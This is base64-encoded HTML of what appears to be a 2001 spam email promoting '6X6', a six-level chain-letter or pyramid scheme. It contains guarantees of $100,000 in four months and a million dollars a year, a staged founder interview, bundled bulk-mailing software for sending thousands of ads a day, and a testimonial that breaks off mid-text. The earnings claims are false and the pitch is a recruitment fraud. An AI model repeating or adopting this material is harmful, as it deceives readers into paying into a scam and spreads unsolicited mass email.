Li48L3RhYmxlPjwvdGFibGU+PC90YWJsZT48dHI+PHRkIGNvbHNwYW49IjIiPjx0YWJsZSBj
ZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIGJvcmRlcj0iMCIgd2lkdGg9IjY2MCI+
PHRyIGJnY29sb3I9IiMwMDAwNjYiPjx0ZD4mbmJzcDs8L3RhYmxlPjxicj48Y2VudGVyPjxm
b250IGZhY2U9InZlcmRhbmEiIHNpemU9IjEiIGNvbG9yPSIjNTU1NTU1Ij5Db3B5cmlnaHQg
qSAyMDAxIDZ4NiBNTE0gQ29ycG9yYXRpb24uIEFsbCByaWdodHMgcmVzZXJ2ZWQuPC9mb250
Pjx0YWJsZSB3aWR0aD0iNjYwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIGJv
cmRlcj0iMCI+PHRyPjx0ZCBoZWlnaHQ9IjYwIj48dHI+PHRkPjxmb250IGZhY2U9InZlcmRh
bmEiIHNpemU9KzE+PGNlbnRlcj48Yj5MYWRpZXMgYW5kIEdlbnRsZW1lbiE8YnI+Jm5ic3A7
PHRyPjx0ZCBiZ2NvbG9yPSMwMDAwNjY+Jm5ic3A7PHRyPjx0ZD48Zm9udCBmYWNlPXZlcmRh
bmEgc2l6ZT0rMT48Y2VudGVyPjxwPjxicj48Yj5QTEVBU0UgUkVBRCBUSE9VR0hURlVMTFkg
QU5EIEFUVEVOVElWRUxZLCBUUllJTkcgTk9UIFRPIERJU1RSQUNUIFlPVVIgQVRURU5USU9O
IFdJVEggRVhURVJOQUwgTk9JU0VTIEFORCBJUlJJVEFOVFMsIEFORCBZT1UnTEwgVU5ERVJT
VEFORCBXSEFUIFdJTEwgTUFLRSBZT1UgUkFUSEVSIFJJQ0ggQU5EIEZSRUUgUEVPUExFISEh
PGJyPiZuYnNwOzx0cj48dGQgYmdjb2xvcj0jMDAwMDY2PiZuYnNwOzx0cj48dGQgYmdjb2xv
cj0jZmZmZmNjPjxwIGFsaWduPWp1c3RpZnk+PGJyPjxmb250IGZhY2U9dmVyZGFuYSBzaXpl
PTIgY29sb3I9IzAwMDA2Nj5JdCBpcyBkaWZmaWN1bHQgdG8gYmVsaWV2ZSBidXQgbmV2ZXJ0
aGVsZXNzIGl0IGlzIGxpa2UgdGhhdCEgUGVvcGxlIGdldCByaWNoZXIgYW5kIHJpY2hlciEg
U29tZSBvZiB0aGVtIGNhbid0IHJlY292ZXIgZnJvbSB0aGUgc2hvY2sgd2hpY2ggaGFkIGNv
bWUgdG9nZXRoZXIgd2l0aCBhIGhlYXAgb2YgY3J1c3QgYmFua25vdGVzIGV2ZW4gc29tZSBt
b250aHMgbGF0ZXIuIFdoaWxlIHRoZSBvdGhlcnMgZGVsaWJlcmF0ZSBhbmQgZG91YnQsIHBl
b3BsZSB0aGF0IGJlbGlldmVkIGluIEJ1c2luZXNzIFN5c3RlbSA2WDYgYmF0aGUgbm93IGlu
IG1vbmV5ISBJbiBhIGxpdGVyYWwgc2Vuc2UhIEhhdmUgWW91IGV2ZXIgc2VlbiBob3cgdGhl
IGhlYXAgb2YgdGhlICQ1IGJpbGxzIHVuZGVyIHdoaWNoIHRoZSBhZHVsdCBwZXJzb24gZW50
aXJlbGx5IGZpbmRzIHJvb20gbG9va3MgbGlrZT8hIEl0IGlzIDEwMCB0aG91c2FuZCBkb2xs
YXJzISEhIENhbiBZb3UgaW1hZ2luZSBob3cgdGhlIGhlYXAgb2YgJDEsMDAwLDAwMCB3aGlj
aCBpcyBlYXJuZWQgYnkgZWFjaCB0aGlyZCBwYXJ0aWNpcGFudCBvZiB0aGUgc3VwZXJwcm9n
cmFtIDZYNiBsb29rcyBsaWtlPyEgQW5kIHdoYXQgaXMgdGhlIGZlZWxpbmcgd2hlbiBZb3Us
IG5vdCBnZXR0aW5nIHRyb3VibGVkIHdpdGggd29yaywgc3RhcnQgdG8gcmVjZWl2ZSBlbnZl
bG9wZXMgd2l0aCBzaXggZG9sbGFycyBhbHJlYWR5IG9uIHRoZSBzZWNvbmQgd2VlayBhbmQg
ZnVydGhlciB0aGUgcHJvZml0IGlzIG11Y2ggbW9yZSEgQW5kIGV2ZW50dWFsbHkgc29tZSBt
b250aHMgbGF0ZXIgWW91IGRvbid0IGtub3cgaG93IHRvIGdldCByaWQgb2YgdGhlIG1vbmV5
ISBZb3UgZXZlbiBnZXQgYSBiaXQgc2Nhcnkgb2YgdGhpcyBhdmFsYW5jaGVzIG9mIHRoZSBt
b25leSEhITxicj4mbmJzcDs8dHI+PHRkIGhlaWdodD00MD48dHI+PHRkPjxmb250IGZhY2U9
dmVyZGFuYSBzaXplPTIgY29sb3I9IzAwMDA2Nj48Y2VudGVyPjxiPkFMTCBUSEFUIElUIFdJ
TEwgTkVDRVNTQVJZIFRPIERPIC0gVE8gU0VORCBUSEUgQURWRVJUSVNJTkcgTEVUVEVSUyBW
SUEgRS1NQUlMIEFORCBGUk9NIFRJTUUgVE8gVElNRSBUTyBDSEVDSyBZT1VSIE1BSUxCT1gg
T1IgVE8gR08gVE8gVEhFIEJBTkshIFlPVSBTSE9VTEROJ1QgRVZFTiBTVFJBSU4gVEhFIEJS
QUlOIC0gVEhFIFNVUEVSIENPTVBVVEVSIEJVU0lORVNTIFNZU1RFTSA2WDYgV0lMTCBNQUtF
IEVWRVJZVEhJTkcgSVRTRUxGISEhPHA+PGI+U0lOQ0UgVEhFIE1PTUVOVCBZT1UgRU5URVIg
VEhJUyBCVVNJTkVTUyBZT1VSIFBST0ZJVCBTTk9XQkFMTFMgQU5EIEJZIFRIRSBFTkQgT0Yg
NFRIIE1PTlRIIFlPVSdMTCBHRVQgQVMgTUlOSU1VTSAkMTAwLDAwMC4gQlVUIElGIFlPVSBE
T04nVCBTVE9QIFRIRSBSRVNVTFRTIFdJTEwgQkUgQVNUUk9OT01JQ0FMIC0gJDEsMDAwLDAw
MCBGT1IgMSBZRUFSISEhITx0cj48dGQgaGVpZ2h0PTQwPjx0cj48dGQgYmdjb2xvcj0jZmZm
ZmNjPjxwIGFsaWduPWp1c3RpZnk+PGJyPjxmb250IGZhY2U9dmVyZGFuYSBzaXplPTIgY29s
b3I9IzAwMDA2Nj4iV2hhdCBpcyB0aGUgc2VjcmV0IG9mIHN1Y2ggZGl6enkgc3VjY2Vzcz8i
IC0gWW91IGFzay4gVGhpcyBpcyBiZWNhdXNlIHRoZXJlIGlzIGEgbmV3IGZvcm11bGEgaW4g
dGhlIGJ1c2luZXNzIHN5c3RlbSB3aGljaCBwcm92aWRlcyBhbGwgcGFydGljaXBhbnRzIHdp
dGggMTAwJS1zJyBzdWNjZXNzIGR1ZSB0byB0aGUgYWNjb3VudCBvZiBzdWNoIHNwZWNpYWwg
ZmFjdG9ycyB3aGljaCB0aGUgaHVtYW4gYnJhaW4gaXMgc2ltcGx5IG5vdCBjYXBhYmxlIG9m
IGdyYXNwaW5nLiBUaGVyZWZvcmUgdGhpcyBleGNlbGxlbnQgcHJvZ3JhbSB3b3JrcyEgQW5k
IGl0IHdvcmtzIGJyaWxsaWFudGx5ISBUaGlzIGlzIGEgcHJvZGlneS1zeXN0ZW0gaW4gd2hp
Y2ggc3VjY2VzcyBpcyBtYWRseSBpbmZlY3Rpb3VzISBIdXJyeSB1cCB0byBhY2hpZXZlIHRo
ZSBzdWNjZXNzIHRvbyEhITxicj4mbmJzcDs8dHI+PHRkIGhlaWdodD00MD48dHI+PHRkPjxm
b250IGZhY2U9InZlcmRhbmEiIHNpemU9KzE+PGNlbnRlcj48Yj5UUlkgWU9VUlNFTEYhISE8
YnI+Jm5ic3A7PHRyPjx0ZCBiZ2NvbG9yPSMwMDAwNjY+Jm5icHM7PHRyPjx0ZCBiZ2NvbG9y
PSNmZmZmY2M+PHAgYWxpZ249anVzdGlmeT48Zm9udCBmYWNlPXZlcmRhbmEgc2l6ZT0yIGNv
bG9yPSMwMDAwNjY+PGJyPkhhdmUgWW91IGV2ZXIgd29uZGVyZWQgd2h5IHRoZSBtYWpvcml0
eSBvZiAgcGVvcGxlIGFjaGlldmUgbm90aGluZyBpbiBsaWZlIGJ1dCBvbmx5IGNvbXBsYWlu
PyBUaGlzIGlzIGJlY2F1c2UgdGhleSBhcmUgcmVhZHkgb24gYSBsaXR0bGUgaW4gdGhlaXIg
bGlmZS4gVGhleSBoYXZlIGEgcmVhZHkgZGVmaW5pdGlvbnMgb24gZXZlcnl0aGluZywgYnV0
IHRoZXNlIGRlZmluaXRpb25zIGFyZSBmb3JtdWxhdGVkIG5vdCBieSB0aGVtIGFuZCB0YWtl
biBmcm9tIHRoZSBvdGhlcnMuIFRvIGhhdmUgWW91ciBvd24gb3BpbmlvbiBpcyBhIGx1eHVy
eSBhbmQgcmFyaXR5LiBUaG9zZSB3aG8gYXJlIG5vdCBhZnJhaWQgdG8gdHJ5IGFuZCB3b3Jr
IG1vcmUgdGhhbiBkb3VidHMgdmVyeSBxdWlja2x5IGFwcGVhcnMgYXQgdGhlIHRvcCBvZiB0
aGUgV29ybGQhIFllcywgaXQgaXMgZGlmZmljdWx0IHRvIGJlbGlldmUgdGhhdCBpdCBpcyBw
b3NzaWJsZSB0byBnZXQgcmljaCBzbyBxdWlja2x5LCBkaWZmaWN1bHQgdG8gb3ZlcmNvbWUg
dGhlIGRvdWJ0cyBhbmQgZmluZCBZb3Vyc2VsZiBzdWRkZW5seSBmYW50YXN0aWNhbGx5IHJp
Y2guIEJ1dCBiZWxpZXZlIGlmIFlvdSB3aWxsIGRvIGl0LCBpdCBiZWNvbWVzIFlvdXIgYmxl
c3NpbmcgYW5kIFlvdXIgZGl6enkgc3VjY2VzcyEgWW91IHdpbGwgbm90IGFyZ3VlIHRoYXQg
WW91IGFyZSB3b3J0aHkgb2YgYmlnIHN1Y2Nlc3MgYW5kIGJpZyByaWNobmVzcywgd2lsbCBZ
b3U/IEFuZCBzbyBpdCBpcyB2aXRhbGx5IG5lY2Vzc2FyeSBmb3IgWW91IHRvIGRvIHRoaXMg
c3RlcCB0byBmaW5kIHRoZSBmaW5hbmNpYWwgaW5kZXBlbmRlbmNlIHdoaWNoIHdpbGwgYnJp
bmcgWW91IGNvLW9wZXJhdGlvbiB3aXRoIHN1cGVycHJvZ3JhbSA2WDYhIFlvdXIgdGltZSBo
YXMgY29tZSE8YnI+Jm5ic3A7PHRyPjx0ZCBoZWlnaHQ9NDA+PHRyPjx0ZD48Zm9udCBmYWNl
PSJ2ZXJkYW5hIiBzaXplPSsxPjxjZW50ZXI+PGI+IlBhaXIgd29yZHMgYWJvdXQgdGhlIHN5
c3RlbS4uLiIgLSBhbiBpbnRlcnZpZXcgd2l0aCBJZ29yIFRpY2h0Y2hlbmtvdiwgdGhlIGZv
dW5kZXIgb2YgdGhlIGJ1c2luZXNzIHN5c3RlbTxicj4mbmJzcDs8dHI+PHRkIGJnY29sb3I9
IzAwMDA2Nj4mbmJzcDs8dHI+PHRkIGJnY29sb3I9I2ZmZmZjYz48cD48ZGl2IGFsaWduPWp1
c3RpZnk+PGZvbnQgZmFjZT12ZXJkYW5hIHNpemU9Mj48Zm9udCBjb2xvcj0jMDAwMDY2Pjxi
cj48Yj4tIEluIHZpZXcgb2YgcHJvbXB0IHJhdGVzIG9mIGRldmVsb3BtZW50IG9mIHRoZSBJ
bnRlcm5ldCBhbmQgZWxlY3Ryb25pYyBjb21tZXJjZSB0aGUgbnVtYmVyIG9mIHVzZXJzIG9m
IHRoZSAiV29ybGQgV2lkZSBXZWIiIGdyb3dzIHdpdGggdGhlIGdyZWF0IHNwZWVkLiBUaGVy
ZSBhcmUgbW9yZSB0aGFuIDE1LDAwMCBuZXcgcGVvcGxlIHdobyBqb2luIHRoZSBJbnRlcm5l
dCBkYWlseS4gV2l0aCB0aGUgZ3Jvd3RoIG9mIG51bWJlciBvZiB0aGUgSW50ZXJuZXQncyB1
c2VycyB0aGUgbnVtYmVyIG9mIGRpZmZlcmVudCB0eXBlcyBvZiBidXNpbmVzcyBwcm9ncmFt
cyBhbHNvIGdyb3dzLiBFdmVyeSBkYXkgdGhlaXIgcG9wdWxhcml0eSBpbmNyZWFzZXMgdG9v
IGFuZCBpdCBpcyBuYXR1cmFsIGJlY2F1c2UgdGhlIGVsZWN0cm9uaWMgY29tbWVyY2UgaXMg
dGhlIGJ1c2luZXNzIG9mIHRoZSAyMXN0IGNlbnR1cnkuIEJ1dCBidXNpbmVzcyBzeXN0ZW0g
Nlg2IHN1cnBhc3NlcyBhbGwgb3RoZXJzIG9uIHNvbWUgb3JkZXJzIC0gaXQgaXMgcG9zc2li
bGUgdG8ganVkZ2UgaXQgYnkgIGxvb2tpbmcgYXQgdGhlIHN1Y2Nlc3MgaXQgYnJpbmdzIHRv
IGFsbCBpdHMgcGFydGljaXBhbnRzLiBXaGF0IGlzIGl0cyBhZHZhbnRhZ2UgYWJvdmUgdGhl
IG90aGVyIGJ1c2luZXNzIHByb2dyYW1zIG9mIHNpbWlsYXIgdHlwZT8gV2h5IGRvZXMgNlg2
IGJyaW5nIHN1Y2Nlc3MgdG8gYWxsIGl0cyBwYXJ0aWNpcGFudHMgLSBub3Qgb25seSBmb3Ig
aXRzIGZvdW5kZXIgYW5kIHRoZSBwZW9wbGUgd2hvIHN0YW5kIG5lYXIgaGltPzwvZm9udD48
L2I+PHA+LSBZZXMsIFlvdSBhcmUgYWJzb2x1dGVseSByaWdodCBhYm91dCB0aGUgcHJvbXB0
IGRldmVsb3BtZW50IG9mIGVsZWN0cm9uaWMgY29tbWVyY2UgYW5kIHRoZSBvY2N1cnJlbmNl
IG9mIG1hbnkgYnVzaW5lc3Mgc3lzdGVtcyBzaW1pbGFyIHRvIDZYNi48cD5CZWZvcmUgdGhl
IGRldmVsb3BtZW50IG9mIHRoZSBwcm9ncmFtIDZYNiBJIGhhZCBjbG9zZWx5IHN0dWRpZWQg
YWxsIHN5c3RlbXMgZXhpc3RpbmcgYXQgY29uY3VycmVudGx5IGFuZCB1bmRlcnN0b29kIHRo
ZSB3YXkgdGhleSBoYWQgYXBwZWFyZWQuIFByb2JhYmx5IGV2ZXJ5b25lIHJlbWVtYmVycyB0
aG9zZSBib25kcyB3aGljaCB3ZXJlIHNvIHBvcHVsYXIgaW4gOTAtcy4gQW5kIHNvIHdpdGgg
dGhlIGRldmVsb3BtZW50IG9mIHRoZSBJbnRlcm5ldCBzb21lb25lIHdobyBrbm93cyBub3Ro
aW5nIGFib3V0IGNvbXB1dGVyIHRlY2hub2xvZ2llcyBhbmQgb2YgdGhlIHByaW5jaXBsZXMg
b2YgdGhlICJXb3JsZCBXaWRlIFdlYiIgc2ltcGx5IHRyYW5zZmVycmVkIHRoaXMgcHJvZ3Jh
bSB3aXRoIGJvbmRzIHRvIHRoZSBuZXR3b3JrLiBZZXMsIHRoZSBpZGVhIGlzIGluZ2VuaW91
cyBlc3BlY2lhbGx5IGZvciB0aG9zZSB0aW1lcyAtIHdpdGhvdXQgdGhlIEludGVybmV0IFlv
dSB3aWxsIGhhcmRseSBmaW5kIDUgY2xpZW50cywgaW4gdGhlIG5ldHdvcmsgdGhlcmUgYXJl
IG1pbGxpb25zIG9mIHVzZXJzIGFuZCBpdCBpcyBwb3NzaWJsZSB0byBzZW5kIHRob3VzYW5k
cyBvZiBhZHZlcnRpc2luZyBsZXR0ZXJzIGFuZCBmaW5kIGEgbG90IG9mIGNsaWVudHMuIEJ1
dCB0aGlzIHN5c3RlbSBoYWQgc2V0YmFja3M6IGFic2VuY2Ugb2YgdGhlIGRlc2NyaXB0aW9u
IG9mIGhvdyB0byBzZW5kIGEgYnVsayBtYWlsaW5nIG9mIGFkdmVydGlzaW5nIGxldHRlcnMs
IHdoZXJlIHRvIHRha2UgdGhvdXNhbmRzIG9mIGUtbWFpbCBhZGRyZXNzZXMgZXRjLiBUaGUg
bW9zdCBpbXBvcnRhbnQgZGVmaWNpZW5jeSB3YXMgdGhhdCB0aGlzIHN5c3RlbSB3YXMgZGVz
aWduZWQgZm9yIGV4dHJlbWVseSBob25lc3QgcGVvcGxlLiBJbiB0aGUgYWR2ZXJ0aXNpbmcg
bGV0dGVyIHRoZXJlIHdhcyBhIGZvcm0gc2ltaWxhciB0byBvdXIgYnVzaW5lc3MtdGFibGUg
YWNjb3JkaW5nIHRvIHdoaWNoIHRoZSBwZXJzb24gd2hvIGVudGVyZWQgdGhhdCBidXNpbmVz
cyBzeXN0ZW0gaGFkIHRvIGJ1eSBpdHMgY29tbW9kaXR5IHVuaXRzIChlYWNoIGF0IHRoZSBk
aWZmZXJlbnQgcGFydGljaXBhbnQpLiBXaGVuIGhlIGJvdWdodCB0aGVtIGhlIGhhZCB0byBw
dXQgaGlzIHBvc3RhbCBhZGRyZXNzIGZvciBwYXltZW50IG9wcG9zaXRlIHRvIHRoZSBmaXJz
dCBjb21tb2RpdHkgdW5pdCBhbmQgc2hpZnQgYWxsIG90aGVyIGFkZHJlc3NlcyBvbmUgbGV2
ZWwgYmVsb3cuIElmIG5vYm9keSBzdXBlcnZpc2VkIGhpbSBoZSBjb3VsZCBjaGFuZ2UgdGhl
IHRhYmxlIHNvbWVob3cuIEZvciBleGFtcGxlIGlmIGhlIG9wZW5lZCBzb21lIFAuTy4gYm94
ZXMgd2l0aCB2YXJpb3VzIG5hbWVzIGF0IGRpZmZlcmVudCBwb3N0IG9mZmljZXMgb2YgdGhl
IGNpdHkgYW5kIHB1dCB0aGUgcmVxdWlzaXRpb25zIG9mIHRoZXNlIHNvLWNhbGxlZCAiZGVh
ZCBzb3VscyIgdG8gdGhlIHRhYmxlIGluc3RlYWQgb2YgdGhlIHByZXZpb3VzIHBhcnRpY2lw
YW50cyBhbmQgdGhlIHByb2Nlc3Mgc3RvcHBlZCB0aGF0IHdheS4gVGh1cyB0aGUgc3lzdGVt
IHdvcmtlZCBvbmx5IGF0IDEwMCUgYXQgdGhlIGZpcnN0IGxldmVsLCAxJSAtYXQgdGhlIHNl
Y29uZCwgMCwxJSAtIGF0IHRoZSB0aGlyZCBhbmQgMCUgYXQgdGhlIGZvdXJ0aC4gQWN0dWFs
bHkgdGhlIHByb2ZpdCBjYW1lIG9ubHkgZnJvbSB0aGUgZmlyc3QgbGV2ZWwsIGkuZS4gZnJv
bSBkaXJlY3Qgc2FsZXMuIElmIFlvdSBzZW50IGFib3V0IDMsMDAwIGFkdmVydGlzaW5nIGxl
dHRlcnMgcGVyIGRheSBZb3UgZWFybmVkIGFib3V0ICQzMDAgLSAkNDAwIHBlciBtb250aC4g
QnV0IHRoZSBpZGVhIG9mIHN1Y2gga2luZCBvZiBidXNpbmVzcyBzeXN0ZW1zIC0gd2FzIHRv
IGJyaW5nIGEgbWF4aW11bSBvZiB0aGUgcHJvZml0IGR1ZSB0byB0aGUgbGFzdCB0d28gbGV2
ZWxzLCBpLmUuIFlvdSBzZW5kIGEgcGFydHkgb2YgbGV0dGVycywgZm9yIGV4YW1wbGUgMTAs
MDAwLCByZWNlaXZlIDMwIG9yZGVycyBmb3IgdGhlIGZpcnN0IGxldmVsIGNvbW1vZGl0eSB1
bml0IGFuZCBmdXJ0aGVyIHRoZSBzeXN0ZW0gd29ya3MgZm9yIFlvdSBmb3Igc2V2ZXJhbCB5
ZWFycy4gQnV0IG1hbnkgcGVvcGxlIGVhcm4gdGhlc2UgJDMwMCAtICQ0MDAgcGVyIG1vbnRo
IHNlbmRpbmcgMywwMDAgbGV0dGVycyBwZXIgZGF5LCBoYXZpbmcgb3BlbmVkIHNvbWUgUC5P
LiBib3hlcyBhbmQgcHV0IHRoZWlyIHJlcXVpc2l0aW9ucyBldmVyeXdoZXJlIHdoZXJlIG9u
bHkgaXQgd2FzIHBvc3NpYmxlLiBUaGUgY29tbW9kaXR5IHVuaXRzIGFsc28gZGlkbid0IGNv
bnRhaW4gdXNlZnVsIGluZm9ybWF0aW9uLCBleGNlcHRpbmcgdGhlIG5hbWVzIGluIHRoZSBh
ZHZlcnRpc2luZyBsZXR0ZXIuIFRoZXJlZm9yZSB3aGVuIFlvdSB3b3JrZWQgd2l0aCBzdWNo
IHN5c3RlbSBZb3UgZGVjZWl2ZWQgdGhlIGNsaWVudHMuPHA+UHJvYmFibHksIHRoZXJlIGlz
IG5vIHNlbnNlIHRvIGRlc2NyaWJlIGFsbCBvdGhlciBzaW1pbGFyIGtpbmRzIG9mIGJ1c2lu
ZXNzIHN5c3RlbXMgYmVjYXVzZSB0aGV5IGFyZSB0aGUgY29waWVzIG9mIHByZXZpb3VzIGlu
IGxpdGVyYWwgc2Vuc2UuIEFsbCB0aGV5IGFwcGVhcmVkIHRoYXQgd2F5IC0gdGhlIGVzc2Vu
Y2Ugd2FzIGNvcGllZCBhbmQgc2Vjb25kYXJ5IGZhY3RvcnMgc3VjaCBhcyB0aGUgbmFtZXMg
b2YgY29tbW9kaXR5IHVuaXRzLCB3YXlzIG9mIHBheW1lbnQsIHRoZSBjb250ZW50cyBvZiB0
aGUgYWR2ZXJ0aXNpbmcgbGV0dGVyIGV0Yy4gd2VyZSBjaGFuZ2VkLiBJdCBpcyBwb3NzaWJs
ZSB0byB0ZWxsIG9uZSBhYm91dCBhbGwgb2YgdGhlbTogdGhleSBhcmUgImNyZWF0ZWQiIChp
ZiBpdCBpcyBwb3NzaWJsZSB0byBhcHBseSB0aGlzIHdvcmQgdG8gcHVyZSBwbGFnaWFyaXNt
KSBieSBhbWF0ZXVycywgdGhhdCBhcmUgZGlzdGFudCAgZnJvbSBidXNpbmVzcyBpbiBnZW5l
cmFsICh3aGF0IGlzIGVsZWN0cm9uaWMgY29tbWVyY2UgLSB0aGV5IHNpbXBseSBkb24ndCBr
bm93ISkgYXMgd2VsbCBhcyBmcm9tIGNvbXB1dGVyIHRlY2hub2xvZ2llcy4gQnV0IHRoZSBp
ZGVhIHRvIGNyZWF0ZSBzdWNoIGJ1c2luZXNzIHN5c3RlbXMgaXMgZ2VuaW91cy4gRXNwZWNp
YWxseSBhdCBvdXIgdGltZSCWIGEgIHRpbWUgb2YgdGhlIGN1dHRpbmcgZWRnZSBJbnRlcm5l
dCBkZXZlbG9wbWVudCBhbmQgZWxlY3Ryb25pYyBjb21tZXJjZS4gRXhjbHVkaW5nIHRoZSBk
ZWZpY2llbmNpZXMgb2YgdGhpcyBzeXN0ZW0gaXQgaXMgaW52YWx1YWJsZSEgQ2FuIFlvdSBp
bWFnaW5lIHdoYXQgd2lsbCB0aGUgSW50ZXJuZXQgbG9vayBsaWtlIGluIGZpdmUgeWVhcnMh
PHA+RXZlbiB0aG91Z2ggdGhlIHRhc2sgd2FzIHZlcnkgZGlmZmljdWx0IEkgZGV2ZWxvcGVk
IHN1Y2ggYSBidXNpbmVzcyBzeXN0ZW0uPHA+PGZvbnQgY29sb3I9IzAwMDA2Nj5UaGUgYWJz
ZW5jZSBvZiB0aGUgZGVzY3JpcHRpb24gb2YgaG93IHRvIHNlbmQgYSBidWxrIG1haWxpbmcg
b2YgYWR2ZXJ0aXNpbmcgbGV0dGVycywgd2hlcmUgdG8gdGFrZSB0aG91c2FuZHMgb2YgZS1t
YWlsIGFkZHJlc3NlcyBhbmQgb3RoZXIgdGVjaG5pY2FsIGRldGFpbHMsIEkgY29tcGVuc2F0
ZWQgd2l0aCBhIHNwZWNpYWxseSBkZXZlbG9wZWQgc29mdHdhcmUgZm9yIGF1dG9tYXRpb24g
b2YgdGhpcyBwcm9jZXNzLCB0aGF0IGFsbG93ZWQgb25lIHRvIHNlbmQgNSwwMDAgdG8gMjAs
MDAwIGFkdmVydGlzaW5nIGxldHRlcnMgcGVyIGRheSBoYXZpbmcgc3BlbnQgb25seSAzMC00
MCBtaW51dGVzIG9mIHRoZSB0aW1lLCBhbmQgd2l0aCB0aGUgdmVyeSBkZXRhaWxlZCBkZXNj
cmlwdGlvbiBvZiB3b3JrIHdpdGggdGhpcyBzb2Z0d2FyZSwgd3JpdHRlbiBpbiBsYW5ndWFn
ZSB3aGljaCBpcyBjb21wcmVoZW5zaWJsZSBmb3IgdXNlcnMgb2YgYW55IGxldmVsIGFuZCBh
IHBsZW50eSBvZiBhZHZpY2VzIGFuZCByZWNvbW1lbmRhdGlvbnMuIEkgbWFuYWdlZCB0byBk
byB0d28gdGhpbmdzIGF0IG9uY2U6IHRvIGNvbnNpZGVyYWJseSBpbmNyZWFzZSBwcm9kdWN0
aXZpdHkgb2YgdGhlIGJ1c2luZXNzIHN5c3RlbSBhbmQgdG8gbWFrZSB0aGUgY29tbW9uZGl0
eSB1bml0cyBub3Qgb25seSB1c2VmdWwgLSByZXF1aXJlZCBmb3IgdGhlIGV2ZXJ5IHBhcnRp
Y2lwYW50IG9mIHRoZSBidXNpbmVzcyBzeXN0ZW0sIGJlY2F1c2UgdGhleSBjb250YWluIHRo
aXMgc3BlY2lhbCBzb2Z0d2FyZSBhbmQgdGhlIGRlc2NyaXB0aW9uIG9mIHdvcmsgd2l0aCBp
dC48cD5JIHN0b3BwZWQgdGhlIGRpc2hvbmVzdHkgb2YgcGFydGljaXBhbnRzIGJ5IGFuIG9i
bGlnYXRvcnkgcmVnaXN0cmF0aW9uIGF0IHRoZSBtYWluIG9mZmljZSBvZiA2WDYgTUxNIENv
cnBvcmF0aW9uLjxwPkJlY2F1c2UgdGhlIHN5c3RlbSBkb2VzIG5vdCBicmVhayBJIGhhdmUg
YWRkZWQgMiBhZGRpdGlvbmFsIGxldmVscyBhbmQgbm93IHRoZSBzeXN0ZW0gaGFzIDYgbGV2
ZWxzIChhbmQgdGhlIGNvbW1vZGl0eSB1bml0IG9mIGV2ZXJ5IGxldmVsIGNvc3RzICQ2IC0g
dGhlcmVmb3JlIGFuZCB0aGUgbmFtZSAiNlg2IikuPHA+SSBtYWRlIGEgbW9yZSBmbGV4aWJs
ZSBzeXN0ZW0gb2YgdGhlIHBheW1lbnQgZm9yIHRoZSBvcmRlcnMuIE5vdyB0aGUgY29tbW9k
aXR5IHVuaXRzIGNhbiBiZSBwYWlkIGJvdGggYnkgdGhlICJ0cmFkaXRpb25hbCIgZmlyc3Qg
Y2xhc3MgbWFpbCBhbmQgY2FuIGJlIHRyYW5zZmVycmVkIG9uIHRoZSBiYW5rIGFjY291bnQu
IEJ1dCBJIGZvcmJhZGUgdG8gc3BlY2lmeSBQLk8uIGJveGVzIGFzIHRoZSBhZGRyZXNzIGZv
ciBwYXltZW50IGZvciBhdm9pZGFuY2Ugb2YgYSBkZWNlaXQgYW5kIHRoYXQgdGhlIGJ1c2lu
ZXNzIHN5c3RlbSBkb24ndCBsb3NlIGl0cyBhdHRyYWN0aXZlbmVzcy4gUHJvY2VlZGluZyBm
cm9tIHRoZSBzYW1lIHJlYXNvbnMgSSBmb3JiYWRlIFdlYk1vbmV5LjxwPkkgY29uY2x1ZGVk
IHRoZSBjb250cmFjdCB3aXRoIGlXaW4gTG90byBMdGQuIFNvIHdpdGggcmVnaXN0cmF0aW9u
IGluIG91ciBtYWluIG9mZmljZSBZb3UgYXJlIGF1dG9tYXRpY2FsbHkgaW5jbHVkZWQgaW4g
YSBsb3R0ZXJ5IGFuZCBZb3VyIGNoYW5jZXMgdG8gd2luIGFyZSBkaXJlY3RseSBwcm9wb3J0
aW9uYWwgdG8gdGhlIGFtb3VudCBvZiBzb2xkIENoYXB0ZXIjMS48YnI+Jm5ic3A7PHRyPjx0
ZCBoZWlnaHQ9NjA+PHRyPjx0ZD48Zm9udCBmYWNlPSJ2ZXJkYW5hIiBzaXplPSsxPjxjZW50
ZXI+PGI+VGhlIHJlc3BvbnNlcyBvZiBvdXIgcGFydG5lcnM8YnI+Jm5ic3A7PHRyPjx0ZCBi
Z2NvbG9yPSMwMDAwNjY+Jm5ic3A7PHRyPjx0ZD48cCBhbGlnbj1qdXN0aWZ5Pjxmb250IGZh
Y2U9dmVyZGFuYSBzaXplPTI+PGJyPk15IG5hbWUgaXMgSmVycnkgUHJvY3Rvci4gVHdvIHll
YXJzIGFnbywgdGhlIGNvcnBvcmF0aW9uIEkgd29ya2VkIGF0IGZvciB0aGUgcGFzdCBmaWZ0
ZWVuIHllYXJzIGRvd24tc2l6ZWQgYW5kIG15IHBvc2l0aW9uIHdhcyBlbGltaW5hdGVkLiBB
ZnRlciB1bnByb2R1Y3RpdmUgam9iIGludGVydmlld3MsIEkgZGVjaWRlZCB0byBvcGVuIG15
IG93biBidXNpbmVzcy4gT3ZlciB0aGUgcGFzdCB5ZWFyLCBJIGluY3VycmVkIG1hbnkgdW5m
b3Jlc2VlbiBmaW5hbmNpYWwgcHJvYmxlbXMuIEkgb3dlZCBteSBmYW1pbHksIGZyaWVuZHMg
YW5kIGNyZWRpdG9ycyBvdmVyICQzNSwwMDAuIFRoZSBlY29ub215IHdhcyB0YWtpbmcgYSB0
b2xsIG9uIG15IGJ1c2luZXNzIGFuZCBJIGp1c3QgY291bGRuJ3Qgc2VlbSB0byBtYWtlIGVu
ZHMgbWVldC4gSSBoYWQgdG8gcmVmaW5hbmNlIGFuZCBib3Jyb3cgYWdhaW5zdCBteSBob21l
IHRvIHN1cHBvcnQgbXkgZmFtaWx5IGFuZCBzdHJ1Z2dsaW5nIGJ1c2luZXNzLiBBVCBUSEFU
IE1PTUVOVCBzb21ldGhpbmcgc2lnbmlmaWNhbnQgaGFwcGVuZWQgaW4gbXkgbGlmZSBhbmQg
SSBhbSB3cml0aW5nIHRvIHNoYXJlIHRoZSBleHBlcmllbmNlIGluIGhvcGVzIHRoYXQgdGhp
cyB3aWxsIGNoYW5nZSBZb3VyIGxpZmUgRk9SRVZFUiBGSU5BTkNJQUxMWSEhISBJbiBtaWQg
RGVjZW1iZXIsIEkgcmVjZWl2ZWQgdGhpcyBwcm9ncmFtIHZpYSBlLW1haWwuIFNpeCBtb250
